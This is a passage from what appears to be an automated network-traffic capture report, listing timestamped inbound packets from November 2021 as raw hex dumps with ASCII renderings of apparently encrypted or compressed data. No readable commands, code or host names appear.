c2 ce 8c 64 e4 ea 48 c5 45 e6 f0 4a 20 ea 2e 1d 86 e6 a9 74 41 d0 17 a0 2c 52 76 bb 19 f7 27 0b 4e 59 2b 13 02 20 1c 35 
60 07 f1 11 dc 86 a0 68 ab ed c2 04 17 6f 4c 7a 7e 9a 42 a3 28 7d 02 26 e0 25 90 db ae 9b 42 dd c5 8f be d6 06 d8 29 0a 
75 a7 b4 83 0e e2 4a bf c6 34 23 2e 0e 69 6e 00 bf 0d 
Data Ascii: B`W:K6xgbZ&6{p}+q:a&@%uxa V;)B)oVJ[4V(:egvp+6.H8ArqR]m%:Mkr5A0dHEJ .tA,Rv'NY+ 5`hoLz~B(}
&%B)uJ4#.in

2021-11-25 16:27:48 UTC 751 IN Data Raw: 7e d7 3d 3d dd df 3f 84 1e f3 fb fd fd 9f a2 6e ec 23 9f 0d 96 1d 62 14 f0 fa f3 32 8d 36 24 12 ec 2a 64 11 ce 09 
fc 85 c3 a1 64 12 d7 42 a6 ca b9 40 06 db e5 6c ec 7d b3 12 97 50 a9 f5 68 52 93 6c 31 98 a6 be c3 37 b7 6e 20 90 a8 53 
7f 25 36 71 4f b4 39 db 8d c3 c5 9e 4c f6 9b a6 73 15 75 36 5f ae 65 ce 63 b5 c4 15 21 54 6b aa f4 f2 67 72 93 62 fd c2 83 
2d 3a 48 d4 45 09 1d 89 82 44 42 58 3d ee c8 69 7b 3d 4f e9 15 38 d3 52 a2 5d 18 5e 23 2f 0d 7b 31 e0 35 c7 6e bd 26 91 
07 1e 3b 03 5b 87 c0 09 99 12 24 7b d4 b0 43 30 3b 03 a0 79 6b 97 c7 2d fb 21 51 c8 d5 bf f1 b6 b6 16 21 09 82 f5 77 5e 
57 5e eb ba f9 c1 df 78 15 64 df bc ce 47 79 8f a9 04 6c 1c f5 05 48 9b 4f c7 37 24 e5 80 2c cd 2a 34 de 95 b1 f5 54 1d a9 
d6 d5 cf 53 b0 dd 1e 12 18 6a 0f 50 f3 49 d4 
Data Ascii: ~==?n#b26$*ddB@l}PhRl17n S%6qO9Lsu6_ec!Tkgrb-:HEDBX=i{=O8R]^#/{15n&;[${C0;yk-!Q!w^W^xdGy
lHO7$,*4TSjPI

2021-11-25 16:27:48 UTC 752 IN Data Raw: c3 7c 96 c0 e5 a7 13 b1 16 61 7b 3f c8 2b aa 84 be e2 67 18 85 bd 84 42 a0 20 22 e7 00 ab b1 8d e8 91 ef ac 
35 e7 02 59 27 9e a6 77 f5 5c ba 32 bd a1 92 13 76 0f 48 4e 70 96 c5 a8 98 ae 0a 07 49 95 54 07 f2 e6 26 36 5f 12 02 8e 
e6 d8 8d 2c 95 57 fe 44 e1 3d be f8 aa 2b be 91 4e 16 16 83 50 bd 0c 75 fd ee 0f fb 3f f8 44 74 58 9b 97 ba 30 97 ad 31 e7 
34 7d 7c 5e 9b 1f 37 26 65 7b 62 f7 cb 68 f1 0d 13 5d 56 ea 2f c4 42 9c 8a 63 b1 b4 36 9b 59 e1 13 da 1c 49 6b 38 08 3f 
0a 88 e7 fc e2 f2 e5 97 d4 4f 8c 3c a1 55 be 4c e8 b0 68 04 9f bb 2b 08 0e ea c2 44 7a 08 be 84 ea 4e da 32 7c 3a f7 d6 
83 70 00 ea c7 97 c3 b2 47 95 c5 18 65 9e 27 51 55 a2 8d fe 0a f4 dd 81 27 be 84 f0 63 bc 68 48 fa 92 86 b4 ac d2 3d 8a 
6f 8d d6 12 b9 7b 41 eb e1 8e 99 87 c6 5d 9e 36 99 0f 
Data Ascii: |a{?+gB "5Y'w\2vHNpIT&6_,WD=+NPu?DtX014}|^7&e{bh]V/Bc6YIk8?O<ULh+DzN2|:pGe'QU'chH=o{A]6

2021-11-25 16:27:48 UTC 753 IN Data Raw: a1 b7 f7 7a 2d a1 f7 7e 1d e4 df b8 b2 3c e2 ac ab 56 13 b8 a5 19 37 b3 5c 55 5f f7 f4 e2 c8 3c a3 0b 38 96 73 
b4 ee 66 41 65 bd 73 64 a7 59 ea 20 0b 6f 65 37 dc e8 b1 39 d7 da d2 b7 a6 97 32 8c 05 b3 cf 12 9d 1e 40 a9 92 f6 ac bc 
49 96 6f 2a 3b a1 b2 4f e5 20 66 bc 56 1e ad 7f 7b 7a 46 87 0b 15 4b 7d 8f c2 6b f4 ce ba 96 2c d5 01 fb 03 0e 6a 47 42 04
cd 2b 23 3d 81 fa c9 ef 07 d3 39 2e 49 c7 3f 9c d8 94 cb 82 4d 65 ee 84 96 00 0a 1e 7a 16 07 f0 44 bc c3 9c 75 fd 5e 3d 
a1 d7 57 e5 4e c1 88 f9 6b 5f 7a c2 98 f8 f0 2f 52 6f 75 8d dc 00 fa 52 f4 24 a4 91 6f 57 b3 5d ca 94 fa 0e a2 ff 61 7f 95 53 
80 c3 cd ce 0e bd 64 69 14 6d 60 b4 65 ad 6e cb 7a 5b cd 94 69 de 7b 4d 2b 6f 25 11 ca b0 f2 1c e3 9d 66 c9 34 cd 3e bc 
3b 37 57 21 72 ec 37 ed 3c 5f 00 a1 72 e6 58 
Data Ascii: z-~<V7\U_<8sfAesdY oe792@Io*;O fV{zFK}k,jGB+#=9.I?MezDu^=WNk_z/RouR$oW]aSdim`enz[i{M+o%f
4>;7W!r7<_rX

Timestamp
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2021-11-25 16:27:48 UTC 755 IN Data Raw: 88 88 fd fc 3b b7 34 5e 3e 4c a2 e1 78 31 f5 fc bd 21 51 76 84 0f 25 84 fa 47 d5 a0 1e 95 4f aa 0a e7 f0 4a 90 
9e 34 8b d9 f8 97 ec 8e 7f 4f b2 45 a4 7f b3 59 9f 1f 9e b2 84 b7 1a 0c 93 81 7e 88 97 8b c5 b4 28 35 7c 39 e2 34 3b 0b 
22 64 d9 c2 0b 9c 48 dd 92 cc 01 f5 ac 22 c5 2f 4e ac 4d ff 3e 3c 6c 33 67 a2 d3 e2 79 25 15 53 6c 7b 8a 4b 5c 89 15 92 
41 f1 88 6c b8 4f 51 01 19 18 64 de 03 9d 76 40 15 51 2f 11 2b 26 9f 39 21 82 af 8a 3e 67 e7 43 e3 42 7f f9 8f e7 47 f2 a6 
f5 54 06 25 f5 64 14 e8 62 aa 63 94 38 e6 80 24 d7 d4 5c a9 d8 41 53 5e 70 a6 c3 43 68 7c 69 d9 9b 9c 38 fa 27 89 69 fe 
4c da f0 09 b3 c2 56 93 a5 2e 4a 6f ec 74 2a 46 6c c2 e5 58 61 2a a7 6a b9 38 71 fa a8 30 a3 c9 07 41 26 ed 55 da 18 31 
a0 71 e5 cb 71 34 bb 72 fa fd dd 1f ff fe c3 d3 fd 
Data Ascii: ;4^>Lx1!Qv%GOJ4OEY~(5|94;"dH"/NM><l3gy%Sl{K\AlOQdv@Q/+&9!>gCBGT%dbc8$\AS^pCh|i8'iLV.Jot*
FlXa*j8q0A&U1qq4r

2021-11-25 16:27:48 UTC 756 IN Data Raw: c6 06 65 17 2d 8e 32 80 f1 f6 01 54 aa dc 20 bd 30 cd 89 8d e6 f0 55 37 f6 e7 27 cc 17 12 94 d3 7d f4 64 ea 5d 
6b 19 7c 48 10 fd 68 4d 61 d7 b4 d4 49 a7 a9 52 23 4a 6e 55 7b 15 45 9c 45 c5 22 64 26 19 94 26 12 9a ac b3 59 55 65 
96 8a 7d e4 64 06 19 a7 9f 2a 2f aa 65 70 4c 2b 16 ca 85 cc 07 65 a3 21 9c 79 f3 ba 8e 69 2c cb 52 75 cc ec 0f ad 7d a6 
d0 09 bf a9 0e 5f 2b 48 a5 e3 76 f3 f1 12 38 33 7e 53 6d c1 87 c7 d7 95 5f 3f e7 ac 55 1c 49 95 11 3e 59 0b cd b4 f8 0e fc 
22 cd 40 5f f0 40 a5 5c 21 51 4f 68 31 e3 e7 df fc fa 36 ae 58 31 48 68 63 3d d6 17 c9 b8 e8 77 27 32 df 3b 6e 51 ea 24 f3 
eb 2e 8a 9c c3 4d dd c7 af 17 f8 65 0d c7 4e 15 73 a4 4f c8 45 1f b1 57 da 81 d0 f3 cf 74 0a 2e ab e6 f3 52 ce 42 f6 8c 38 
bc 77 16 b3 65 e6 40 09 ee f4 09 ec f0 f3 40 38 
Data Ascii: e-2T 0U7'}d]k|HhMaIR#JnU{EE"d&&YUe}d*/epL+e!yi,Ru}_+Hv83~Sm_?UI>Y"@_@\!QOh16X1Hhc=w'2;nQ
$.MeNsOEWt.RB8we@@8

2021-11-25 16:27:48 UTC 757 IN Data Raw: da 41 60 be ab 2b 37 4c 7c 89 64 0b f7 d9 24 a7 b3 21 1f 0e 82 76 3b 87 9f 84 b5 91 e3 30 bb ca 7b 60 0c 65 
da 56 7e d2 73 ef 71 7b 47 6e e1 75 47 ee 58 10 c9 51 4b ea f9 32 dd 85 8a b5 c4 47 fd c9 9f 58 0f ca 97 e3 2d c0 78 2c 
de 7a e2 ad ba c2 fb 2d db c7 e6 f3 f7 d3 d3 da d9 07 b5 7f cb 3b 24 33 dd dc ef ee 5e c0 5d 5a ad 3e d6 7b 8d e0 75 13 8f
2f 99 2d c0 a7 76 d1 d7 1b 27 6f 05 e9 82 58 cf 5c e7 4b 72 97 8c 39 ed b7 e7 4b 8f 91 3a e3 53 39 e5 78 62 71 06 17 36 
d7 8b a7 95 cf 45 fd 73 66 1d 4c 29 1e 21 4b 1c 2d 25 7b 1e c5 9c 00 34 f6 94 7b a6 cc 2c 42 9c 4e 0e 34 54 9b 04 a2 b1 
73 29 7c 6a 7e d2 f3 ad 52 37 32 85 b7 d8 a8 77 20 06 65 31 4f 6f c4 3b 12 12 e9 cf ba c6 17 35 2d 9e 9c d4 06 cb b3 d1 
75 b0 d1 f5 d3 c0 ee da f2 e7 76 2d f6 2b 29 03 2a 14 
Data Ascii: A`+7L|d$!v;0{`eV~sq{GnuGXQK2GX-x,z-;$3^]Z>{u/-v'oX\Kr9K:S9xbq6EsfL)!K-%{4{,BN4Ts)|j~R72w e1Oo;5-uv
-+)*

2021-11-25 16:27:48 UTC 758 IN Data Raw: 73 80 97 06 28 28 25 68 49 f6 3c b7 62 63 8c 4d 5a 8f 97 e0 8e 70 7f 83 b0 4f 46 d4 21 32 7f 9d d8 3f c3 31 1d 
14 e5 a8 8a 96 2d 7d 60 0b 2d ac 6f a0 88 f1 21 07 49 1b c3 b4 e7 ab 1f a3 cb f6 67 7e 2c 50 fb df 7f 2f 00 79 b3 ab 08 1f 
cf 7c 91 bd f7 e1 3c df 06 7c 48 04 63 98 1c bb 3c 39 0a 46 a4 40 47 06 dd 6c 93 0d 01 b0 a2 e8 88 41 b9 d9 a3 70 a1 e5 
5c 40 ca ad 18 d2 ca 33 9e e5 4b 19 06 ca 9e 20 2d 4d fa b2 2b 77 28 a0 72 11 1d 57 d5 88 2e 83 cb a9 8d 86 17 d4 b8 0f 
5b 35 ee e4 cd a2 40 37 5b 72 bb 21 e2 b7 71 07 3a bc df 16 28 26 c7 b0 16 c8 44 65 38 aa cc ab a7 d2 59 87 be f8 d7 ee 
3b f2 94 3e 8e 11 63 61 81 75 c2 0c b0 b9 e9 7e 64 5d bb 51 84 d6 c1 0e 85 e4 09 4a 3a 18 84 ca c8 29 13 3c fc b7 45 35 
04 93 0f 90 17 18 14 dc c5 ba 3c c1 3b 01 34 73 88 
Data Ascii: s((%hI<bcMZpOF!2?1-}`-o!Ig~,P/y|<|Hc<9F@GlAp\@3K -M+w(rW.[5@7[r!q:(&De8Y;>cau~d]QJ:)<E5<;4s

2021-11-25 16:27:48 UTC 760 IN Data Raw: c3 2e 01 ad 1d 9f 91 ab 30 4f 5f 80 da a8 6a 9b db c7 0f e0 8f ce 45 d5 18 dd 28 58 d1 63 5e b2 9a 57 30 15 47 
ae 20 3b 4d 72 38 98 e0 25 6a 21 42 cf be 3a e2 33 f3 b3 4f 09 e7 95 c8 f5 bc 94 b9 06 50 b3 3e c9 e5 01 66 7a 98 d0 21 
98 47 94 ce a9 46 20 5e f6 d2 d2 be e7 90 df 15 c9 61 ad e5 89 aa 0f c0 9c f2 71 90 86 5a ba c0 ed b0 54 6e 07 c3 8a 42 
01 ed 36 53 46 c5 a0 68 70 2a 36 4c da 13 a7 40 fb b5 05 b9 0d 85 95 39 1d ad 2a 87 03 e8 5a 45 07 23 b1 da 0f 6f f1 34 
f7 23 c1 76 db 24 f8 00 06 6d b9 9a 5f 63 3c d7 68 10 d9 8c 10 f2 3d 78 72 d8 16 d6 e6 f7 7e c9 3e 95 0a 14 13 51 a1 14 
58 d7 7e ec 76 fb bd dc 50 0f 98 76 31 56 a4 e2 24 4c 0b 53 04 5c 05 70 6f a6 00 17 d8 1c a6 d8 99 6d 19 e7 74 da ec 78 
4c 7a 9d 48 f3 75 67 3d 3a 55 f1 c1 74 7e 38 54 cb 74 
Data Ascii: .0O_jE(Xc^W0G ;Mr8%j!B:3OP>fz!GF ^aqZTnB6SFhp*6L@9*ZE#o4#v$m_c<h=xr~>QX~vPv1V$LS\pomtxLz
Hug=:Ut~8Tt

2021-11-25 16:27:48 UTC 761 IN Data Raw: 70 f5 f7 3c 60 eb 7a 10 b1 69 07 d8 79 f3 77 fb bf 36 f2 55 b8 bf b6 dc 5b e7 59 45 6c 0b aa ad af de 6e c7 d7 
e4 c0 f9 96 fd 72 e5 ee fd a2 a0 46 3a 22 31 fa 41 5e 9d ac 80 a2 88 d7 ab 4c 3a e2 02 8e 4c 00 dd 13 49 af 59 3b 33 e9 
a3 05 de 7d 99 5d 28 ff d4 98 a0 43 c4 18 cf 39 56 f2 a5 ae ba e3 08 74 80 4d 35 c0 af 60 77 93 7e ac 7c 34 77 f4 53 5e f6 
cf ab 4e 5e 38 5a 52 6e 72 4a 29 7f 8d 9c ff b0 5a 21 16 25 ce 5d 6e 0b d4 96 22 58 d1 cd b6 72 56 ed b3 af eb b8 d2 d9 
b5 91 ea 93 af e7 fc dd a0 b2 96 46 24 e4 ee 2f 30 d7 da 19 05 1a ed 0c 8d c8 e9 96 72 91 f4 b8 9d 7b 7a 06 f2 c7 7d 91 
36 f1 c0 50 0a 8f a6 2a f2 8b a2 b7 71 fc 35 42 ea e9 71 c7 ee e8 97 c3 c3 1a 0f 01 a5 e2 83 e1 4f d3 46 39 93 c8 7d 62 
e8 62 bc 4c 0b 52 0f 29 9c 51 e8 b3 c2 89 b6 da c7 
Data Ascii: p<`ziyw6U[YElnrF:"1A^L:LIY;3}](C9VtM5`w~|4wS^N^8ZRnrJ)Z!%]n"XrVF$/0r{z}6P*q5BqOF9}bbLR)Q

2021-11-25 16:27:48 UTC 762 IN Data Raw: fc 34 e8 e7 ba 45 7d 0a 01 d6 ef 85 ad 5c b1 68 10 ea d2 2d 6c 11 aa 08 db 42 15 c9 3f 62 8f 63 9c 53 d2 f5 03 
96 2c 6c 43 d5 a9 51 27 c2 f5 c3 31 ac 03 84 ef 21 0e d5 ad 9a d9 e4 61 1a 24 8d 86 97 69 85 ce 16 b5 54 af 07 79 52 1b 
95 e6 21 89 61 83 9e 36 da 78 87 46 c2 f9 c1 b1 01 25 7a e8 c7 56 59 aa c2 d1 1e 63 18 d5 45 96 ae 93 ec 0d ba 0a b2 fc 
f6 b2 8d 5a 5c 27 9d 42 24 ef fe d9 d6 b8 96 aa ed 4f e6 a8 91 76 d4 6e 01 cb 0b 08 39 87 29 96 60 e6 b3 7a 91 9a 01 b8 
14 7f 08 38 37 89 c8 39 c5 68 79 1e 9d e7 07 0d 10 e6 35 16 c9 ec 8f 96 4f 47 b3 d1 0a bd 4a 08 29 c6 a4 d6 a3 18 c5 17 
75 e0 b3 c6 48 c7 23 36 f7 e0 e9 6a fd e0 41 3b 73 38 7e 5d 3f 84 dd 0b 5b 05 d6 14 3a b7 89 71 a9 20 36 c3 27 85 d7 c6 
b0 54 d3 00 68 71 58 29 e8 b7 26 63 27 5d 38 7e 70 10 
Data Ascii: 4E}\h-lB?bcS,lCQ'1!a$iTyR!a6xF%zVYcEZ\'B$Ovn9)`z879hy5OGJ)uH#6jA;s8~]?[:q 6'ThqX)&c']8~p

2021-11-25 16:27:48 UTC 764 IN Data Raw: 0a 6c cd 46 51 a8 92 84 a5 b4 4e a3 ed b7 05 fa 63 34 65 2c 24 a1 a1 f8 8e cc d9 21 d9 9c e6 3e 83 15 36 40 
d5 dc b4 f2 76 08 b8 af ad 92 f1 de a2 09 19 0c 79 b6 4c d8 29 82 9f 58 1e 32 68 40 6c b7 91 91 92 cd d8 22 be 82 2c 50 
49 fc b4 b8 c5 16 62 58 21 cc 12 53 59 0b ad 9e d9 2f 2a ba e9 a7 07 8a 23 83 9a 23 e4 0f 4d 3a 27 62 0a a5 16 cb 57 43 
66 95 76 5c 0c 6a b3 9a bf 40 c1 eb e3 08 c3 5f 09 8c 05 63 a5 78 be 21 e2 41 1a ea 99 92 64 48 f6 dc 13 cf 54 9c bc 58 
a6 00 6d ba 4f 94 17 60 c0 ec 78 40 f3 23 55 a6 92 30 3d ce 28 21 bf 72 2e 6f 54 69 37 5d 25 9f cd b7 96 96 d4 2a b9 70 
51 54 fb 33 5f 80 02 c3 31 e8 b1 73 04 83 9c 86 54 58 6f 3d a5 fb 08 b4 a0 27 26 61 9f d7 d2 34 3c 01 c6 a6 33 f4 93 20 
0a 8b 92 54 58 e0 6a 5b 54 f1 2d b7 34 d0 a8 38 37 ca 1e 
Data Ascii: lFQNc4e,$!>6@vyL)X2h@l",PIbX!SY/*##M:'bWCfv\j@_cx!AdHTXmO`x@#U0=(!r.oTi7]%*pQT3_1sTXo='&a4<3 
TXj[T-487

2021-11-25 16:27:48 UTC 765 IN Data Raw: e9 7c bd cc ca 7d c4 d5 31 56 5d 55 40 d3 b6 17 78 f1 1a 47 e9 73 1c 7e bc 1b a2 ba 5f 8e 96 24 00 0c ee 1c 
6c 5d 8e 9d a8 d9 45 d9 93 00 4f c0 96 43 0b 2e d0 d8 74 51 8e 35 9f e4 bb dd 5c 6d 5e c7 71 7c 33 21 90 eb 5a fa b8 6f 
4a 53 33 43 26 1c db a6 7f 96 2d 01 8c c1 28 32 82 1b a7 01 71 d2 28 e2 bc e7 dc c3 a8 5f a9 79 bf cf 69 3a 49 59 bf 34 
da ec 95 31 35 39 67 61 7c e5 6b ac 81 8a b4 a9 5a d3 62 ad 14 29 57 1d 63 95 af db 28 74 b0 94 58 dd a6 da 8f ae e4 60 
3a b7 9f e0 3f 3f 29 88 97 5f be e4 24 29 61 ae 03 14 29 a7 b0 98 59 9c 9d f1 2b 89 59 31 ba e2 54 16 18 cd d6 00 1d a4 
2c 97 9c 72 91 01 15 9c 72 ca 52 65 9a 4c 46 4b 95 7e d4 3e fd 6e eb 33 1c ed 9f fe d5 c2 c6 a9 bd 36 b6 d2 c2 aa 5b 58 
5b 8b 2a 68 55 69 64 25 da 77 03 b2 44 dd b8 9b f4 f0 aa 
Data Ascii: |}1V]U@xGs~_$l]EOC.tQ5\m^q|3!ZoJS3C&-(2q(_yi:IY4159ga|kZb)Wc(tX`:??)_$)a)Y+Y1T,rrReLFK~>
n36[X[*hUid%wD

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 766 IN Data Raw: 41 69 d2 14 d0 0e 7a 5f 24 50 cb 7d 09 0a a0 f6 bd ed c7 90 95 0e 1e 85 13 18 5c 69 66 2d d6 68 5c 08 e0 3c 
32 b9 a3 42 12 d4 fe 28 ec bb 8f c4 ba 93 f9 52 37 f7 69 b8 ee a0 2b c9 45 38 56 56 9f 2c 5b 45 cb fe 25 00 7d 83 26 61 1f 
03 8c 92 b1 a0 70 78 95 f9 c4 02 36 8e 5e 8b d2 db de 80 2e a9 e0 ec 38 a0 53 a4 d2 22 23 3a 6c 6f 31 be bc 72 fd 36 10 
33 d2 18 91 af 8f 44 ed a9 58 17 cc 0d 7f 8b 4d 79 12 13 bb ea a6 80 cc 2d 89 0f 95 82 3a cd 97 ca d3 a5 09 e4 b4 12 b2 
2d a2 0f 2f f3 fc d6 3d 41 4e 67 e5 17 0a e4 56 e0 d7 8a 0f 92 aa 08 f5 dd 44 4e 08 e4 69 08 08 7b 92 7a a1 dd e6 e8 8f 
30 88 f3 35 86 ff c8 af 15 74 82 ba 46 28 df 3c 54 5e 53 e8 af a5 7b 88 ff c5 8d c9 98 22 93 4f 49 ae 84 62 55 dc 1a 77 5c 
6e 48 7a 3d fc 4f a2 72 b1 30 8e 64 2e 4b d4 bf 2b 
Data Ascii: Aiz_$P}\if-h\<2B(R7i+E8VV,[E%}&apx6^.8S"#:lo1r63DXMy-:-/=ANgVDNi{z05tF(<T^S{"OIbUw\nHz=Or0d.K+

2021-11-25 16:27:48 UTC 767 IN Data Raw: e4 33 53 2e 4c 68 67 55 43 97 bb 7c eb c3 82 c3 31 7f 9b 84 b7 ac 5a f8 32 fa f8 04 56 ca d0 ff 61 2b 46 03 f4 
e9 76 e4 36 eb 1e fc ed 46 8d cf bd fb de c1 91 58 47 4a da 93 ab 08 d9 9a 17 e2 bc 4a 1d 57 6a 27 5b ba a9 b0 52 c5 ab 
f8 ce dc 6f d1 47 40 9e fb a3 78 1a 89 4f 11 30 94 ac e7 2c 06 7d 7a 26 b3 2d f1 17 da a6 91 e8 45 4c 2b c0 54 22 5f f1 df 
44 7d 84 e9 7f ad be bf ea 8b f7 11 46 22 c2 33 42 fc 15 85 4f 9a c0 c5 ae 27 11 ca 04 f4 33 a9 33 ad 13 f1 01 3d ea e3 f0 
bd c0 8c ca 51 9b 7e 40 e2 9b 3e 47 4a dc db a4 1b ae cd 66 c7 3a 85 4d 7b d6 94 24 24 f2 cb 9f 62 f3 8d cc fd 7e 96 aa 
ac a3 25 fd 8a 8f 19 4e 51 97 e7 6e cf ed f8 6f 47 b3 d5 bf 37 f4 f7 f1 24 9a 5e 67 29 bd b4 7f a4 9f ef 1e 6c 9e e3 f7 e7 94 
f2 9c 12 48 78 ae 7e 7f fc de a3 8a 7b 30 
Data Ascii: 3S.LhgUC|1Z2Va+Fv6FXGJJWj'[RoG@xO0,}z&-EL+T"_D}F"3BO'33=Q~@>GJf:M{$$b~%NQnoG7$^g)lHx~{0

2021-11-25 16:27:48 UTC 769 IN Data Raw: c9 80 b6 e3 14 4e 7c 6a 8c f6 8c 6c 69 8f 57 c1 1e 8a 7f 70 93 ed c1 91 b2 42 36 0c 18 95 bd 14 76 d4 68 b2 
dc d9 c6 98 9c bf 92 f2 30 e9 d7 a4 40 f5 a0 e2 8f 1c 06 54 d9 e1 47 47 90 1a 8e 4e 57 8f 94 3e 9a f9 ac dc 43 79 7c 56 af 
99 0d 5e d3 fd 0f 7c bb e6 07 4c bb 58 65 d7 18 e3 3e bb 76 b0 27 b7 84 c3 57 89 e0 1b be 27 f8 b6 4c d0 53 20 3d 9a a0 
5a 7a dd 93 b8 1b 35 09 ad f6 f2 93 46 e3 7d 91 a0 1d de ee 1a a4 85 9d a4 67 90 8e c1 d8 57 4b 60 fa 29 fe d3 b6 20 48 
f8 9d e2 83 51 54 31 0d ef 68 36 cc 16 80 23 53 6a e5 79 2c 38 9c 42 c5 ca fb c8 97 85 11 f1 ce 14 c2 74 b3 79 1e a3 d9 
13 dd 1a e1 ae c3 c8 75 28 24 e6 88 92 da 69 28 67 c7 55 59 33 3f 7d a1 11 ab 16 68 6b c7 a7 f3 b9 e2 b1 81 06 15 d2 b8 
68 02 c7 c1 30 15 4a 5a 5d d5 12 82 2e 0c 81 36 14 e6 
Data Ascii: N|jliWpB6vh0@TGGNW>Cy|V^|LXe>v'W'LS =Zz5F}gWK`) HQT1h6#Sjy,8Btyu($i(gUY3?}hkh0JZ].6

2021-11-25 16:27:48 UTC 770 IN Data Raw: d1 93 02 5e 7b f2 21 01 5d 45 2f cf 6a 42 6f 77 07 59 a2 23 bd 32 ce d2 68 f9 a4 18 69 a9 e2 86 17 6d c3 2a eb 
d8 52 d0 ad e7 53 f4 86 04 14 ff 8e e8 5b 54 74 54 91 e9 02 0a 5f 6b 48 aa aa 91 39 76 00 f5 a5 8a b7 a5 98 60 67 ca d1 
04 87 a8 c2 7b 4b 1e 6b 72 ef f1 1a bd bb 91 4f b3 05 46 bb 95 81 5a d2 0e 10 0f ca 7b 7b 0a d3 39 40 8c 1c 5b 6b 79 d0 
bc 13 7e d7 43 7f 08 1c 8d 20 a2 48 d2 db 32 37 68 d3 67 d6 19 9d 19 6e 2f a4 e7 31 93 4c eb 1f b3 f6 37 91 45 e4 b8 86 
08 98 7e 4f fa aa 13 48 9d 93 06 fd 47 a4 b2 3d ff 7d e2 a6 a2 98 4b 1f 18 98 bb 93 fa 8a e0 a9 19 90 91 a2 a0 29 7b 81 
b3 34 30 5f d7 b3 72 8e 7e 9f 5d 4b 0d d4 15 18 4b 81 5d be 17 9d a4 a6 24 e7 dd 28 fd 58 d4 0f 89 d4 54 bf 43 b3 c1 5f 
b2 4f 56 3c ef 77 da 96 30 b0 32 01 9e ac ce 26 eb 42 
Data Ascii: ^{!]E/jBowY#2him*RS[TtT_kH9v`g{KkrOFZ{{9@[ky~C H27hgn/1L7E~OHG=}K){40_r~]KK]$(XTC_OV<w02&B

2021-11-25 16:27:48 UTC 771 IN Data Raw: c0 4a f3 26 f8 c2 de 60 2e 6a 89 c1 d8 72 10 69 e1 50 2e 2a 94 18 e7 3b c6 af 63 e4 46 46 ec b9 54 c0 e2 55 
52 04 78 89 8e 46 82 54 23 c6 70 1a bb f4 46 bb c7 b4 ac d5 6d aa ac 8e 94 cc e5 52 86 dd d5 1b b9 b8 05 13 f7 56 35 62 
7c e7 76 00 e5 56 35 22 c8 21 e6 92 b8 c0 cc ea 45 fe 86 0d 64 45 10 ac 04 24 9b 4a 20 a8 16 1d 94 46 ca 78 97 59 a9 
79 41 ce ca 69 d6 82 01 9d 4d 21 ff 74 80 49 a5 07 8c a9 90 04 e8 7a 93 fc 6f 52 fa 6a 2e c8 f5 2b 5a d4 4f af a9 99 8c c0 
b2 12 04 6c b2 1a 62 09 a9 31 56 42 16 c6 a4 c8 4f 00 0e 1d 26 3d b1 de 41 46 21 4e 59 9c 3c b5 cf 17 03 93 c4 ac 8f ca 
41 ca db c7 ca 61 cc 66 13 59 ea ad 92 cb e5 08 5d 3a e2 32 46 e8 c2 1b 65 72 bc da ed 49 07 51 74 2b 53 f4 57 a2 e8 37 
a4 b1 cc 9a 23 be 8d 2e 66 87 d5 1f 75 12 97 dd 30 f3 79 
Data Ascii: J&`.jriP.*;cFFTURxFT#pFmRV5b|vV5"!EdE$J FxYyAiM!tIzoRj.+ZOlb1VBO&=AF!NY<AafY]:2FerIQt+SW
7#.fu0y

2021-11-25 16:27:48 UTC 772 IN Data Raw: b0 cf 03 96 bb 77 fe d1 bb 0f 1b ae 03 8f f8 e4 75 dc 7f b8 cd fb bc e3 3e c1 62 24 b5 fe 7f b7 04 6b f4 7f ff fd 77 
02 b5 f9 1f b4 b7 e2 3d 2f 41 65 34 80 e8 a8 cf 82 f9 ee d5 d5 51 ef f6 81 d8 1e 89 93 41 78 0b f4 7a bc 7c bb 98 60 2c e8 
83 03 54 b7 fa c1 df 6f 0b 14 2d 91 d0 1a 5f 64 8e d7 b1 eb a8 ec 50 e1 7a 31 29 de 4a 19 c1 4b f7 94 63 8d c5 44 92 eb 
9f 07 ec ab 0b d6 2c 89 cb 95 43 5c 4f d2 02 18 2f da ad 88 95 8c 79 3d 2a f3 00 ca 54 95 94 51 0b 31 80 0f 79 56 97 c6 
9a 11 32 56 1c a6 c7 71 6c 9d a5 3c 22 37 77 4a bd 42 b7 28 ec 36 a7 e2 23 a4 50 34 6c 99 0f 1e 31 05 40 f5 1f a5 94 12 
a1 62 ae 7d 17 a4 94 06 3b a6 7f 33 5f eb df 71 1c ed c8 88 bc 11 51 cc ec 08 e8 07 19 e7 db de c8 d2 ac a3 64 58 cd c6 
1d 2d df 1e 71 ae 82 e3 7b b6 7d f2 67 8a 2e 
Data Ascii: wu>b$kw=/Ae4QAxz|`,To-_dPz1)JKcD,C\O/y=*TQ1yV2Vql<"7wJB(6#P4l1@b};3_qQdX-q{}g.

2021-11-25 16:27:48 UTC 774 IN Data Raw: ca 4c 82 64 22 0a c7 df 73 76 3a b9 07 87 20 31 8b 8e b7 35 0f f4 ed ae d3 37 06 12 81 4f 5d e5 2e 09 4e 5d f6 
c5 e5 e7 cb d0 e3 49 27 d4 b0 63 fb f1 54 6b 42 4e 1e d8 55 34 8f 9a fa 2f 2f 8b b8 b2 7c 60 0c 69 05 fe 8b d5 40 99 70 28 
2d 99 9d e3 10 31 f1 61 6c 10 a9 69 68 a2 92 91 6e 8d 48 13 1e 94 a2 4d b1 25 96 2f ed 00 19 eb 9d 17 3d 6c 94 84 9c 6c 
2b f5 c7 3b 47 63 70 27 9e 0b 92 7a 38 20 4d 70 cf 59 e3 ba 1c 60 38 c6 aa 0d 6f 00 53 6b 9b 04 d1 0f 1e 46 92 20 a7 1f 
47 dd ab 34 6a f4 7b b7 df 6f 8f 46 0a fd 57 ad b7 f5 6c 84 07 c1 5e b6 4c a2 eb 6c af 7b 75 b5 76 ea 19 e2 13 9b 72 fb 5e 
a4 f5 90 87 8a 64 ca 8f 25 7a 75 75 d8 d2 4c b4 7f 44 f5 63 c8 f7 68 d0 1d 00 0d 39 e0 91 d1 f1 06 af ae a8 5f 1e b1 99 b4 
dd 31 36 1f 51 f7 b7 d6 08 ef 5e ec 34 c9 49 
Data Ascii: Ld"sv: 157O].N]I'cTkBNU4//|`i@p(-1alihnHM%/=ll+;Gcp'z8 MpY`8oSkF G4j{oFWl^Ll{uvr^d%zuuLDch9_16Q^4I

2021-11-25 16:27:48 UTC 775 IN Data Raw: 31 0f 10 f5 9e 41 08 19 82 98 6a 02 4f 6f 2c f4 62 a0 33 57 c8 31 80 51 e1 0d c1 e2 8c 3c 2f a9 14 d9 04 5c ce 
